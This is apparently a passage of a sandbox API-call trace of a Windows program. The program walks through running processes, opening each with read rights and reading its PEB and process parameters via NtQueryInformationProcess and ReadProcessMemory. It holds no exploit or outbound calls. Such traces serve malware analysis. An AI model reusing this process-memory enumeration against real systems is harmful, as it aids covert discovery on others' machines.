[0346.492] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x341020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0346.492] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4033f0, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0346.492] malloc (_Size=0x72) returned 0xea8b20 [0346.492] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403a78, lpBuffer=0xea8b20, nSize=0x70, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea8b20*, lpNumberOfBytesRead=0x0) returned 1 [0346.493] free (_Block=0xea8b20) [0346.493] CloseHandle (hObject=0xa9c) returned 1 [0346.493] _ui64tow_s (in: _Value=0x924, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="2340") returned 0x0 [0346.493] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="2340") returned 4 [0346.494] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0346.494] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0346.494] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x924) returned 0xa9c [0346.495] GetLastError () returned 0x0 [0346.495] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0346.495] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x284018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0346.495] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0346.495] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4724e0, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0346.495] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x472118, lpBuffer=0x5ec5a0, nSize=0x4c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0346.495] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0346.495] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0346.495] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x284020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0346.495] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x471ad0, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0346.495] malloc (_Size=0x76) returned 0xea8fa0 [0346.495] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x472164, lpBuffer=0xea8fa0, nSize=0x74, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea8fa0*, lpNumberOfBytesRead=0x0) returned 1 [0346.496] free (_Block=0xea8fa0) [0346.496] CloseHandle (hObject=0xa9c) returned 1 [0346.496] _ui64tow_s (in: _Value=0xbbc, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="3004") returned 0x0 [0346.496] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="3004") returned 4 [0346.497] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0346.497] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0346.497] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xbbc) returned 0xa9c [0346.498] GetLastError () returned 0x0 [0346.498] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0346.498] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x1075018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0346.498] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0346.498] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x14041e0, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0346.498] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x1403c76, lpBuffer=0x5ec5a0, nSize=0xd4, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0346.498] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0346.499] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0346.499] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x1075020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0346.499] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x1403590, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0346.499] malloc (_Size=0x14c) returned 0xe9a6f0 [0346.499] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x1403d4a, lpBuffer=0xe9a6f0, nSize=0x14a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xe9a6f0*, lpNumberOfBytesRead=0x0) returned 1 [0346.500] free (_Block=0xe9a6f0) [0346.500] CloseHandle (hObject=0xa9c) returned 1 [0346.500] _ui64tow_s (in: _Value=0xc1c, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="3100") returned 0x0 [0346.500] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="3100") returned 4 [0346.500] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0346.500] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0346.503] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xc1c) returned 0xa9c [0346.503] GetLastError () returned 0x0 [0346.503] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0346.503] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x27c018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0346.503] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0346.503] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403df0, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0346.503] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403a38, lpBuffer=0x5ec5a0, nSize=0x4c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0346.504] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0346.504] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0346.504] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x27c020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0346.504] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4033f0, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0346.504] malloc (_Size=0x64) returned 0xeb6700 [0346.504] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403a84, lpBuffer=0xeb6700, nSize=0x62, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb6700*, lpNumberOfBytesRead=0x0) returned 1 [0346.505] free (_Block=0xeb6700) [0346.505] CloseHandle (hObject=0xa9c) returned 1 [0346.505] _ui64tow_s (in: _Value=0xca4, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="3236") returned 0x0 [0346.506] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="3236") returned 4 [0346.506] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0346.506] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0346.507] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xca4) returned 0xa9c [0346.507] GetLastError () returned 0x0 [0346.507] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0346.507] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7c9018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0346.507] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0346.508] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x8040a0, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0346.508] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x803be4, lpBuffer=0x5ec5a0, nSize=0x96, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0346.509] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0346.509] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0346.509] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7c9020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0346.510] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x803520, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0346.510] malloc (_Size=0x11a) returned 0xe76890 [0346.510] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x803c7a, lpBuffer=0xe76890, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xe76890*, lpNumberOfBytesRead=0x0) returned 1 [0346.511] free (_Block=0xe76890) [0346.511] CloseHandle (hObject=0xa9c) returned 1 [0346.512] _ui64tow_s (in: _Value=0xd04, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="3332") returned 0x0 [0346.512] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="3332") returned 4 [0346.512] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0346.512] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0346.513] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xd04) returned 0xa9c [0346.513] GetLastError () returned 0x0 [0346.513] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0346.513] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x265018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0346.513] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0346.513] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403df0, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0346.513] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403a38, lpBuffer=0x5ec5a0, nSize=0x4c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0346.514] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0346.514] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0346.514] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x265020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0346.514] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4033f0, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0346.514] malloc (_Size=0x64) returned 0xeb6230 [0346.514] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403a84, lpBuffer=0xeb6230, nSize=0x62, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb6230*, lpNumberOfBytesRead=0x0) returned 1 [0346.515] free (_Block=0xeb6230) [0346.515] CloseHandle (hObject=0xa9c) returned 1 [0346.515] _ui64tow_s (in: _Value=0xf20, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="3872") returned 0x0 [0346.515] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="3872") returned 4 [0346.516] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0346.516] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0346.516] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xf20) returned 0xa9c [0346.516] GetLastError () returned 0x0 [0346.517] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0346.517] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x342018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0346.517] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0346.517] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5d24e0, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0346.517] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5d2118, lpBuffer=0x5ec5a0, nSize=0x4c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0346.518] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0346.518] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0346.518] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x342020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0346.518] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5d1ad0, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0346.518] malloc (_Size=0x64) returned 0xeb6540 [0346.518] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5d2164, lpBuffer=0xeb6540, nSize=0x62, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb6540*, lpNumberOfBytesRead=0x0) returned 1 [0346.519] free (_Block=0xeb6540) [0346.519] CloseHandle (hObject=0xa9c) returned 1 [0346.519] _ui64tow_s (in: _Value=0xf60, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="3936") returned 0x0 [0346.520] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="3936") returned 4 [0346.520] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0346.520] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0346.521] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xf60) returned 0xa9c [0346.521] GetLastError () returned 0x0 [0346.521] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0346.521] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x2a8018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0346.521] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0346.521] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403d70, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0346.521] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4039a8, lpBuffer=0x5ec5a0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0346.521] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0346.522] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0346.522] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x2a8020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0346.522] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403360, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0346.522] malloc (_Size=0x8c) returned 0xec7a20 [0346.522] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4039e8, lpBuffer=0xec7a20, nSize=0x8a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xec7a20*, lpNumberOfBytesRead=0x0) returned 1 [0346.523] free (_Block=0xec7a20) [0346.523] CloseHandle (hObject=0xa9c) returned 1 [0346.523] _ui64tow_s (in: _Value=0xee4, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="3812") returned 0x0 [0346.523] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="3812") returned 4 [0346.523] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0346.523] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0346.524] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xee4) returned 0xa9c [0346.524] GetLastError () returned 0x0 [0346.524] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0346.524] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x22a018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0346.525] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0346.525] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5a2490, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0346.525] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5a2118, lpBuffer=0x5ec5a0, nSize=0x52, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0346.525] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0346.525] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0346.525] ReadProcessMemory (in: hProcess=0xa9c, 